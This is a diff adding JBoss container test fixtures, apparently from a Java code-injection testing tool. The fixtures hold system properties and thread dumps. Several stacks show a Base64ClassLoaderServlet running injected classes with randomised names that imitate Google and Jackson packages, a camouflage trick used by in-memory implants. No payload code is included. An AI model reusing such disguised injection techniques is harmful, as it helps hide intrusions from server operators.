com.arjuna.ats.arjuna.coordinator.TransactionReaper.waitForCancellations(TransactionReaper.java:504) + at com.arjuna.ats.internal.arjuna.coordinator.ReaperWorkerThread.run(ReaperWorkerThread.java:74) + +"Thread-7" #20 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.arjuna.ats.internal.arjuna.recovery.ExpiredEntryMonitor.run(ExpiredEntryMonitor.java:237) + +"http-0.0.0.0-8080-Acceptor-0" #27 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.PlainSocketImpl.accept(PlainSocketImpl.java:408) + at java.net.ServerSocket.implAccept(ServerSocket.java:462) + at java.net.ServerSocket.accept(ServerSocket.java:430) + at org.apache.tomcat.util.net.DefaultServerSocketFactory.acceptSocket(DefaultServerSocketFactory.java:61) + at org.apache.tomcat.util.net.JIoEndpoint$Acceptor.run(JIoEndpoint.java:310) + at java.lang.Thread.run(Thread.java:662) + +"http-0.0.0.0-8080-2" #30 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.read(SocketInputStream.java:129) + at org.apache.coyote.http11.InternalInputBuffer.fill(InternalInputBuffer.java:729) + at org.apache.coyote.http11.InternalInputBuffer.parseRequestLine(InternalInputBuffer.java:366) + at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:790) + at org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.process(Http11Protocol.java:598) + at org.apache.tomcat.util.net.JIoEndpoint$Worker.run(JIoEndpoint.java:447) + at java.lang.Thread.run(Thread.java:662) + +"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@25533ae9 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:485) + at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:116) + +"http-0.0.0.0-8080-4" #32 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.read(SocketInputStream.java:129) + at org.apache.coyote.http11.InternalInputBuffer.fill(InternalInputBuffer.java:729) + at org.apache.coyote.http11.InternalInputBuffer.parseRequestLine(InternalInputBuffer.java:366) + at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:790) + at org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.process(Http11Protocol.java:598) + at org.apache.tomcat.util.net.JIoEndpoint$Worker.run(JIoEndpoint.java:447) + at java.lang.Thread.run(Thread.java:662) + +"Thread-5" #18 daemon [TIMED_WAITING] on com.arjuna.ats.arjuna.coordinator.TransactionReaper@7b40aa23 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.arjuna.ats.internal.arjuna.coordinator.ReaperThread.run(ReaperThread.java:98) + +"JBossLifeThread" #26 [WAITING] on java.lang.Object@52621f0c + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:485) + at org.jboss.bootstrap.AbstractServerImpl$LifeThread.run(AbstractServerImpl.java:866) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +EmptyFilter +com.arjuna.ats.arjuna.coordinator.TransactionReaper +com.arjuna.ats.internal.arjuna.coordinator.ReaperThread +com.arjuna.ats.internal.arjuna.coordinator.ReaperWorkerThread +com.arjuna.ats.internal.arjuna.recovery.ExpiredEntryMonitor +com.arjuna.ats.internal.arjuna.recovery.Listener +com.arjuna.ats.internal.arjuna.recovery.PeriodicRecovery +com.google.gso.izwNI.ErrorHandler +org.apache.catalina.connector.CoyoteAdapter +org.apache.catalina.connector.CoyoteWriter +org.apache.catalina.core.ApplicationFilterChain +org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor +org.apache.catalina.core.StandardContextValve +org.apache.catalina.core.StandardEngineValve +org.apache.catalina.core.StandardHostValve +org.apache.catalina.core.StandardWrapperValve +org.apache.catalina.valves.ErrorReportValve +org.apache.coyote.http11.Http11Processor +org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler +org.apache.coyote.http11.InternalInputBuffer +org.apache.tomcat.util.net.DefaultServerSocketFactory +org.apache.tomcat.util.net.JIoEndpoint$Acceptor +org.apache.tomcat.util.net.JIoEndpoint$Worker +org.hsqldb.lib.HsqlTimer +org.hsqldb.lib.HsqlTimer$TaskQueue +org.hsqldb.lib.HsqlTimer$TaskRunner +org.jboss.bootstrap.AbstractServerImpl$LifeThread +org.jboss.web.tomcat.filters.ReplyHeaderFilter +org.jboss.web.tomcat.security.JaccContextValve +org.jboss.web.tomcat.security.SecurityAssociationValve +org.jboss.web.tomcat.security.SecurityContextEstablishmentValve +org.jboss.web.tomcat.service.jca.CachedConnectionValve diff --git a/integration-test/src/test/resources/infos/Jboss610ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/Jboss610ContainerTestBasicInfo.txt new file mode 100644 index 00000000..6ed22570 --- /dev/null +++ b/integration-test/src/test/resources/infos/Jboss610ContainerTestBasicInfo.txt @@ -0,0 +1,367 @@ +# Generated At 2025-08-10 14:57:58 +SystemProps: +jboss.qualified.host.name: 0bf075f1685b +java.vendor: Oracle Corporation +logging.configuration: file:/usr/local/jboss/bin/logging.properties +org.jboss.reflect.spi.TypeInfoFactory: org.jboss.reflect.plugins.introspection.IntrospectionTypeInfoFactory +sun.java.launcher: SUN_STANDARD +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +org.apache.tomcat.util.buf.StringCache.byte.enabled: true +hornetq.remoting.netty.batch.port: 5455 +jboss.web.ajp.port: 8009 +jboss.jgroups.udp.mcast_port: 45688 +jboss.jgroups.tcp.mping_mcast_addr: 230.0.0.4 +os.name: Linux +org.apache.tomcat.util.http.ServerCookie.FWD_SLASH_IS_SEPARATOR: false +sun.boot.class.path: /usr/local/jboss/lib/endorsed/activation.jar:/usr/local/jboss/lib/endorsed/jboss-annotations-api_1.1_spec.jar:/usr/local/jboss/lib/endorsed/jboss-jaxb-api_2.2_spec.jar:/usr/local/jboss/lib/endorsed/jboss-jaxws-api_2.2_spec.jar:/usr/local/jboss/lib/endorsed/jbossws-cxf-factories.jar:/usr/local/jboss/lib/endorsed/stax-api.jar:/usr/java/jdk-7/jre/lib/resources.jar:/usr/java/jdk-7/jre/lib/rt.jar:/usr/java/jdk-7/jre/lib/sunrsasign.jar:/usr/java/jdk-7/jre/lib/jsse.jar:/usr/java/jdk-7/jre/lib/jce.jar:/usr/java/jdk-7/jre/lib/charsets.jar:/usr/java/jdk-7/jre/lib/jfr.jar:/usr/java/jdk-7/jre/classes +org.jboss.logging.Logger.pluginClass: org.jboss.logging.logmanager.LoggerPluginImpl +jboss.jgroups.udp.bind_port: 55200 +jboss.jgroups.diagnostics_addr: 224.0.75.75 +java.vm.specification.vendor: Oracle Corporation +java.runtime.version: 1.7.0_17-b02 +user.name: root +jboss.bind.address: 0.0.0.0 +jboss.messaging.connector.bisocket.port: 4457 +jboss.jgroups.tcp.fd_sock_port: 57600 +jboss.bootstrap.url: file:/usr/local/jboss/server/jbossweb-standalone/conf/bootstrap.xml +jboss.node.name: 0bf075f1685b +jboss.native.load: false +jboss.jgroups.tcp.tcp_port: 7600 +jboss.home.dir: /usr/local/jboss +user.language: en +jboss.bootstrap.home.url: file:/usr/local/jboss/server/jbossweb-standalone/conf/ +sun.boot.library.path: /usr/java/jdk-7/jre/lib/amd64 +jboss.home.url: file:/usr/local/jboss/ +jboss.jgroups.udp.mcast_addr: 230.0.0.4 +java.version: 1.7.0_17 +java.util.logging.manager: org.jboss.logmanager.LogManager +org.apache.catalina.connector.Connector.X_POWERED_BY: true +jboss.server.home.dir: /usr/local/jboss/server/jbossweb-standalone +user.timezone: Etc/UCT +java.net.preferIPv4Stack: true +jgroups.bind_addr: 0bf075f1685b +sun.arch.data.model: 64 +org.apache.jasper.runtime.BodyContentImpl.LIMIT_BUFFER: true +java.endorsed.dirs: /usr/local/jboss/lib/endorsed +jboss.server.home.url: file:/usr/local/jboss/server/jbossweb-standalone/ +sun.cpu.isalist: +sun.jnu.encoding: UTF-8 +file.encoding.pkg: sun.io +file.separator: / +java.specification.name: Java Platform API Specification +org.apache.catalina.connector.Request.SESSION_ID_CHECK: false +java.class.version: 51.0 +jboss.server.config.url: file:/usr/local/jboss/server/jbossweb-standalone/conf/ +jboss.common.lib.url: file:/usr/local/jboss/common/lib/ +user.country: US +java.home: /usr/java/jdk-7/jre +java.vm.info: mixed mode +jboss.lib.url: file:/usr/local/jboss/lib/ +bind.address: 0bf075f1685b +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +jboss.bootstrap.name: bootstrap.xml +path.separator: : +java.vm.version: 23.7-b01 +jboss.jgroups.udp.fd_sock_port: 54200 +jboss.web.https.port: 8443 +jboss.web.http.port: 8080 +java.protocol.handler.pkgs: org.jboss.net.protocol|org.jboss.vfs.protocol +java.awt.printerjob: sun.print.PSPrinterJob +hornetq.remoting.netty.ssl.port: 5446 +sun.io.unicode.encoding: UnicodeLittle +awt.toolkit: sun.awt.X11.XToolkit +xb.builder.useUnorderedSequence: true +jboss.server.temp.dir: /usr/local/jboss/server/jbossweb-standalone/tmp +jboss.boot.server.log.dir: /usr/local/jboss/server/jbossweb-standalone/log +java.rmi.server.RMIClassLoaderSpi: org.jboss.system.JBossRMIClassLoader +sun.rmi.dgc.client.gcInterval: 3600000 +user.home: /root +java.specification.vendor: Oracle Corporation +org.jboss.deployers.spi.deployer.matchers.NameIgnoreMechanism: org.jboss.deployers.spi.deployer.helpers.DummyNameIgnoreMechanism +jboss.partition.name: DefaultPartition +jboss.home: /usr/local/jboss +java.library.path: /usr/local/jboss/bin/native/lib64 +org.jboss.resolver.warning: true +java.vendor.url: http://java.oracle.com/ +program.name: run.sh +jboss.common.base.url: file:/usr/local/jboss/common/ +java.vm.vendor: Oracle Corporation +sun.rmi.dgc.server.gcInterval: 3600000 +java.runtime.name: Java(TM) SE Runtime Environment +sun.java.command: org.jboss.Main -c jbossweb-standalone -b 0.0.0.0 +java.class.path: /usr/local/jboss/bin/run.jar:/usr/java/jdk-7/lib/tools.jar +org.apache.catalina.core.StandardHost.configClass: org.jboss.web.tomcat.service.deployers.JBossContextConfig +jboss.server.log.dir: /usr/local/jboss/server/jbossweb-standalone/log +jbossmx.loader.repository.class: org.jboss.mx.loading.UnifiedLoaderRepository3 +java.vm.specification.name: Java Virtual Machine Specification +catalina.home: /usr/local/jboss/server/jbossweb-standalone +java.vm.specification.version: 1.7 +org.apache.jasper.Constants.INJECT_TAGS: false +jboss.server.lib.url: file:/usr/local/jboss/server/jbossweb-standalone/lib/ +sun.cpu.endian: little +sun.os.patch.level: unknown +java.rmi.server.codebase: http://0bf075f1685b:8083/ +java.io.tmpdir: /tmp +jboss.platform.mbeanserver: true +java.vendor.url.bug: http://bugreport.sun.com/bugreport/ +jboss.server.data.dir: /usr/local/jboss/server/jbossweb-standalone/data +java.rmi.server.hostname: 0bf075f1685b +jboss.vfs.forceCopy: true +os.arch: amd64 +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +java.ext.dirs: /usr/java/jdk-7/jre/lib/ext:/usr/java/packages/lib/ext +jboss.jgroups.tcp.mping_mcast_port: 45700 +user.dir: /usr/local/jboss +jboss.native.dir: /usr/local/jboss/server/jbossweb-standalone/tmp/native +line.separator: + +jboss.jgroups.diagnostics_port: 7500 +java.vm.name: Java HotSpot(TM) 64-Bit Server VM +jboss.server.base.dir: /usr/local/jboss/server +java.security.auth.login.config: vfs:/usr/local/jboss/common/lib/picketbox-bare.jar/auth.conf +jboss.server.base.url: file:/usr/local/jboss/server/ +javax.management.builder.initial: org.jboss.mx.server.MBeanServerBuilderImpl +file.encoding: UTF-8 +xb.builder.repeatableParticleHandlers: false +catalina.ext.dirs: /usr/local/jboss/server/jbossweb-standalone/lib +java.specification.version: 1.7 +jboss.host.name: 0bf075f1685b +hornetq.remoting.netty.port: 5445 +org.apache.catalina.connector.CoyoteAdapter.X_POWERED_BY: Servlet/3.0; JBossWeb-3 +org.apache.jasper.Constants.USE_INSTANCE_MANAGER_FOR_TAGS: false +jboss.server.name: jbossweb-standalone + +=========================================== + +ThreadStacks: +"http-0.0.0.0-8080-2" #26 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.read(SocketInputStream.java:150) + at java.net.SocketInputStream.read(SocketInputStream.java:121) + at org.apache.coyote.http11.InternalInputBuffer.fill(InternalInputBuffer.java:731) + at org.apache.coyote.http11.InternalInputBuffer.parseRequestLine(InternalInputBuffer.java:368) + at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:838) + at org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.process(Http11Protocol.java:654) + at org.apache.tomcat.util.net.JIoEndpoint$Worker.run(JIoEndpoint.java:951) + at java.lang.Thread.run(Thread.java:722) + +"DestroyJavaVM" #9 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"AuthenticationCacheFlushThread" #13 [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.jboss.security.auth.AuthenticationCacheFlushThread.run(AuthenticationCacheFlushThread.java:83) + +"RMI Reaper" #17 [WAITING] on java.lang.ref.ReferenceQueue$Lock@f60f96b + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:135) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:151) + at sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:351) + at java.lang.Thread.run(Thread.java:722) + +"http-0.0.0.0-8080-Acceptor-0" #22 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:398) + at java.net.ServerSocket.implAccept(ServerSocket.java:522) + at java.net.ServerSocket.accept(ServerSocket.java:490) + at org.apache.tomcat.util.net.DefaultServerSocketFactory.acceptSocket(DefaultServerSocketFactory.java:61) + at org.apache.tomcat.util.net.JIoEndpoint$Acceptor.run(JIoEndpoint.java:343) + at java.lang.Thread.run(Thread.java:722) + +"ajp-0.0.0.0-8009-Acceptor-0" #24 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:398) + at java.net.ServerSocket.implAccept(ServerSocket.java:522) + at java.net.ServerSocket.accept(ServerSocket.java:490) + at org.apache.tomcat.util.net.DefaultServerSocketFactory.acceptSocket(DefaultServerSocketFactory.java:61) + at org.apache.tomcat.util.net.JIoEndpoint$Acceptor.run(JIoEndpoint.java:343) + at java.lang.Thread.run(Thread.java:722) + +"GC Daemon" #18 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@2796e7b0 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at sun.misc.GC$Daemon.run(GC.java:117) + +"pool-1-thread-1" #19 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:398) + at java.net.ServerSocket.implAccept(ServerSocket.java:522) + at java.net.ServerSocket.accept(ServerSocket.java:490) + at org.jboss.web.WebServer.run(WebServer.java:330) + at org.jboss.threads.SimpleDirectExecutor.execute(SimpleDirectExecutor.java:33) + at org.jboss.threads.CleanupExecutor.execute(CleanupExecutor.java:38) + at org.jboss.threads.CleanupExecutor.execute(CleanupExecutor.java:38) + at org.jboss.threads.QueueExecutor.runTask(QueueExecutor.java:801) + at org.jboss.threads.QueueExecutor.access$100(QueueExecutor.java:45) + at org.jboss.threads.QueueExecutor$Worker.run(QueueExecutor.java:821) + at java.lang.Thread.run(Thread.java:722) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@2444e81e + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:503) + at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:133) + +"RMI TCP Accept-1090" #15 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:398) + at java.net.ServerSocket.implAccept(ServerSocket.java:522) + at java.net.ServerSocket.accept(ServerSocket.java:490) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:387) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:359) + at java.lang.Thread.run(Thread.java:722) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@27e31c2c + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:135) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:151) + at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:177) + +"ajp-0.0.0.0-8009-Poller" #23 daemon [TIMED_WAITING] on org.apache.tomcat.util.net.JIoEndpoint$Poller@2f4ea129 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at org.apache.tomcat.util.net.JIoEndpoint$Poller.run(JIoEndpoint.java:764) + at java.lang.Thread.run(Thread.java:722) + +"ContainerBackgroundProcessor[StandardEngine[jboss.web]]" #14 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1577) + at java.lang.Thread.run(Thread.java:722) + +"http-0.0.0.0-8080-3" #27 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.read(SocketInputStream.java:150) + at java.net.SocketInputStream.read(SocketInputStream.java:121) + at org.apache.coyote.http11.InternalInputBuffer.fill(InternalInputBuffer.java:731) + at org.apache.coyote.http11.InternalInputBuffer.parseRequestLine(InternalInputBuffer.java:368) + at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:838) + at org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.process(Http11Protocol.java:654) + at org.apache.tomcat.util.net.JIoEndpoint$Worker.run(JIoEndpoint.java:951) + at java.lang.Thread.run(Thread.java:722) + +"http-0.0.0.0-8080-1" #25 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.read(SocketInputStream.java:150) + at java.net.SocketInputStream.read(SocketInputStream.java:121) + at org.apache.coyote.http11.InternalInputBuffer.fill(InternalInputBuffer.java:731) + at org.apache.coyote.http11.InternalInputBuffer.parseRequestLine(InternalInputBuffer.java:368) + at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:838) + at org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.process(Http11Protocol.java:654) + at org.apache.tomcat.util.net.JIoEndpoint$Worker.run(JIoEndpoint.java:951) + at java.lang.Thread.run(Thread.java:722) + +"http-0.0.0.0-8080-5" #29 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.lang.Thread.dumpThreads(Native Method) + at java.lang.Thread.getAllStackTraces(Thread.java:1618) + at com.fasterxml.jackson.AhRss.ErrorHandler.toString(BasicInfoPrinter.java:26) + at java.lang.String.valueOf(String.java:2854) + at org.apache.catalina.connector.CoyoteWriter.print(CoyoteWriter.java:226) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:324) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:242) + at EmptyFilter.doFilter(EmptyFilter.java:21) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:274) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:242) + at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:275) + at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:161) + at org.jboss.web.tomcat.security.JaccContextValve.invoke(JaccContextValve.java:88) + at org.jboss.web.tomcat.security.SecurityContextEstablishmentValve.invoke(SecurityContextEstablishmentValve.java:100) + at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:159) + at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:102) + at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:109) + at org.jboss.web.tomcat.service.request.ActiveRequestResponseCacheValve.invoke(ActiveRequestResponseCacheValve.java:53) + at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:362) + at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:877) + at org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.process(Http11Protocol.java:654) + at org.apache.tomcat.util.net.JIoEndpoint$Worker.run(JIoEndpoint.java:951) + at java.lang.Thread.run(Thread.java:722) + +"RMI TCP Accept-1091" #16 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:398) + at java.net.ServerSocket.implAccept(ServerSocket.java:522) + at java.net.ServerSocket.accept(ServerSocket.java:490) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:387) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:359) + at java.lang.Thread.run(Thread.java:722) + +"http-0.0.0.0-8080-4" #28 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.read(SocketInputStream.java:150) + at java.net.SocketInputStream.read(SocketInputStream.java:121) + at org.apache.coyote.http11.InternalInputBuffer.fill(InternalInputBuffer.java:731) + at org.apache.coyote.http11.InternalInputBuffer.parseRequestLine(InternalInputBuffer.java:368) + at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:838) + at org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.process(Http11Protocol.java:654) + at org.apache.tomcat.util.net.JIoEndpoint$Worker.run(JIoEndpoint.java:951) + at java.lang.Thread.run(Thread.java:722) + +"http-0.0.0.0-8080-Poller" #21 daemon [TIMED_WAITING] on org.apache.tomcat.util.net.JIoEndpoint$Poller@5336a302 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at org.apache.tomcat.util.net.JIoEndpoint$Poller.run(JIoEndpoint.java:764) + at java.lang.Thread.run(Thread.java:722) + +"HDScanner" #20 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@280802fc + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2082) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1090) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:807) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +EmptyFilter +com.fasterxml.jackson.AhRss.ErrorHandler +org.apache.catalina.connector.CoyoteAdapter +org.apache.catalina.connector.CoyoteWriter +org.apache.catalina.core.ApplicationFilterChain +org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor +org.apache.catalina.core.StandardContextValve +org.apache.catalina.core.StandardEngineValve +org.apache.catalina.core.StandardHostValve +org.apache.catalina.core.StandardWrapperValve +org.apache.catalina.valves.ErrorReportValve +org.apache.coyote.http11.Http11Processor +org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler +org.apache.coyote.http11.InternalInputBuffer +org.apache.tomcat.util.net.DefaultServerSocketFactory +org.apache.tomcat.util.net.JIoEndpoint$Acceptor +org.apache.tomcat.util.net.JIoEndpoint$Poller +org.apache.tomcat.util.net.JIoEndpoint$Worker +org.jboss.security.auth.AuthenticationCacheFlushThread +org.jboss.threads.CleanupExecutor +org.jboss.threads.JBossThread +org.jboss.threads.QueueExecutor +org.jboss.threads.QueueExecutor$Worker +org.jboss.threads.SimpleDirectExecutor +org.jboss.web.WebServer +org.jboss.web.tomcat.security.JaccContextValve +org.jboss.web.tomcat.security.SecurityContextEstablishmentValve +org.jboss.web.tomcat.service.request.ActiveRequestResponseCacheValve diff --git a/integration-test/src/test/resources/infos/Jboss711ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/Jboss711ContainerTestBasicInfo.txt new file mode 100644 index 00000000..640e1ab8 --- /dev/null +++ b/integration-test/src/test/resources/infos/Jboss711ContainerTestBasicInfo.txt @@ -0,0 +1,1284 @@ +# Generated At 2025-08-10 14:58:04 +SystemProps: +jboss.qualified.host.name: fec1a0e7fad2 +java.vendor: Oracle Corporation +logging.configuration: file:/usr/local/jboss/standalone/configuration/logging.properties +jboss.modules.system.pkgs: org.jboss.byteman +sun.java.launcher: SUN_STANDARD +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +javax.xml.stream.XMLInputFactory: __redirected.__XMLInputFactory +os.name: Linux +sun.boot.class.path: /usr/java/jdk-7/jre/lib/resources.jar:/usr/java/jdk-7/jre/lib/rt.jar:/usr/java/jdk-7/jre/lib/sunrsasign.jar:/usr/java/jdk-7/jre/lib/jsse.jar:/usr/java/jdk-7/jre/lib/jce.jar:/usr/java/jdk-7/jre/lib/charsets.jar:/usr/java/jdk-7/jre/lib/jfr.jar:/usr/java/jdk-7/jre/classes +java.vm.specification.vendor: Oracle Corporation +java.runtime.version: 1.7.0_17-b02 +javax.xml.stream.XMLEventFactory: __redirected.__XMLEventFactory +user.name: root +jboss.bind.address: 0.0.0.0 +javax.xml.stream.XMLOutputFactory: __redirected.__XMLOutputFactory +jboss.node.name: fec1a0e7fad2 +[Standalone]: +javax.xml.parsers.SAXParserFactory: __redirected.__SAXParserFactory +jboss.home.dir: /usr/local/jboss +user.language: en +sun.boot.library.path: /usr/java/jdk-7/jre/lib/amd64 +java.util.logging.manager: org.jboss.logmanager.LogManager +java.version: 1.7.0_17 +user.timezone: Etc/UCT +java.net.preferIPv4Stack: true +jboss.server.default.config: standalone.xml +sun.arch.data.model: 64 +java.endorsed.dirs: /usr/java/jdk-7/jre/lib/endorsed +jboss.server.config.dir: /usr/local/jboss/standalone/configuration +sun.cpu.isalist: +sun.jnu.encoding: UTF-8 +file.encoding.pkg: sun.io +file.separator: / +java.specification.name: Java Platform API Specification +java.class.version: 51.0 +user.country: US +javax.xml.xpath.XPathFactory:http://java.sun.com/jaxp/xpath/dom: __redirected.__XPathFactory +java.home: /usr/java/jdk-7/jre +javax.xml.parsers.DocumentBuilderFactory: __redirected.__DocumentBuilderFactory +java.vm.info: mixed mode +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +org.jboss.boot.log.file: /usr/local/jboss/standalone/log/boot.log +path.separator: : +java.vm.version: 23.7-b01 +java.protocol.handler.pkgs: org.jboss.net.protocol|org.jboss.vfs.protocol +java.awt.printerjob: sun.print.PSPrinterJob +jboss.modules.dir: /usr/local/jboss/modules +sun.io.unicode.encoding: UnicodeLittle +jboss.server.deploy.dir: /usr/local/jboss/standalone/data/content +awt.toolkit: sun.awt.X11.XToolkit +module.path: /usr/local/jboss/modules +java.naming.factory.url.pkgs: org.jboss.as.naming.interfaces:org.jboss.ejb.client.naming +jboss.server.temp.dir: /usr/local/jboss/standalone/tmp +sun.rmi.dgc.client.gcInterval: 3600000 +user.home: /root +java.specification.vendor: Oracle Corporation +org.osgi.vendor.framework: org.jboss.osgi.framework +org.xml.sax.driver: __redirected.__XMLReaderFactory +java.library.path: /usr/java/packages/lib/amd64:/usr/lib64:/lib64:/lib:/usr/lib +org.jboss.resolver.warning: true +java.vendor.url: http://java.oracle.com/ +java.vm.vendor: Oracle Corporation +sun.rmi.dgc.server.gcInterval: 3600000 +java.runtime.name: Java(TM) SE Runtime Environment +sun.java.command: /usr/local/jboss/jboss-modules.jar -mp /usr/local/jboss/modules -jaxpmodule javax.xml.jaxp-provider org.jboss.as.standalone -Djboss.home.dir=/usr/local/jboss -b 0.0.0.0 +java.class.path: /usr/local/jboss/jboss-modules.jar +jboss.server.log.dir: /usr/local/jboss/standalone/log +java.vm.specification.name: Java Virtual Machine Specification +catalina.home: /usr/local/jboss/standalone/tmp +java.vm.specification.version: 1.7 +sun.cpu.endian: little +javax.xml.validation.SchemaFactory:http://www.w3.org/2001/XMLSchema: __redirected.__SchemaFactory +sun.os.patch.level: unknown +java.awt.headless: true +java.io.tmpdir: /tmp +java.vendor.url.bug: http://bugreport.sun.com/bugreport/ +jboss.server.data.dir: /usr/local/jboss/standalone/data 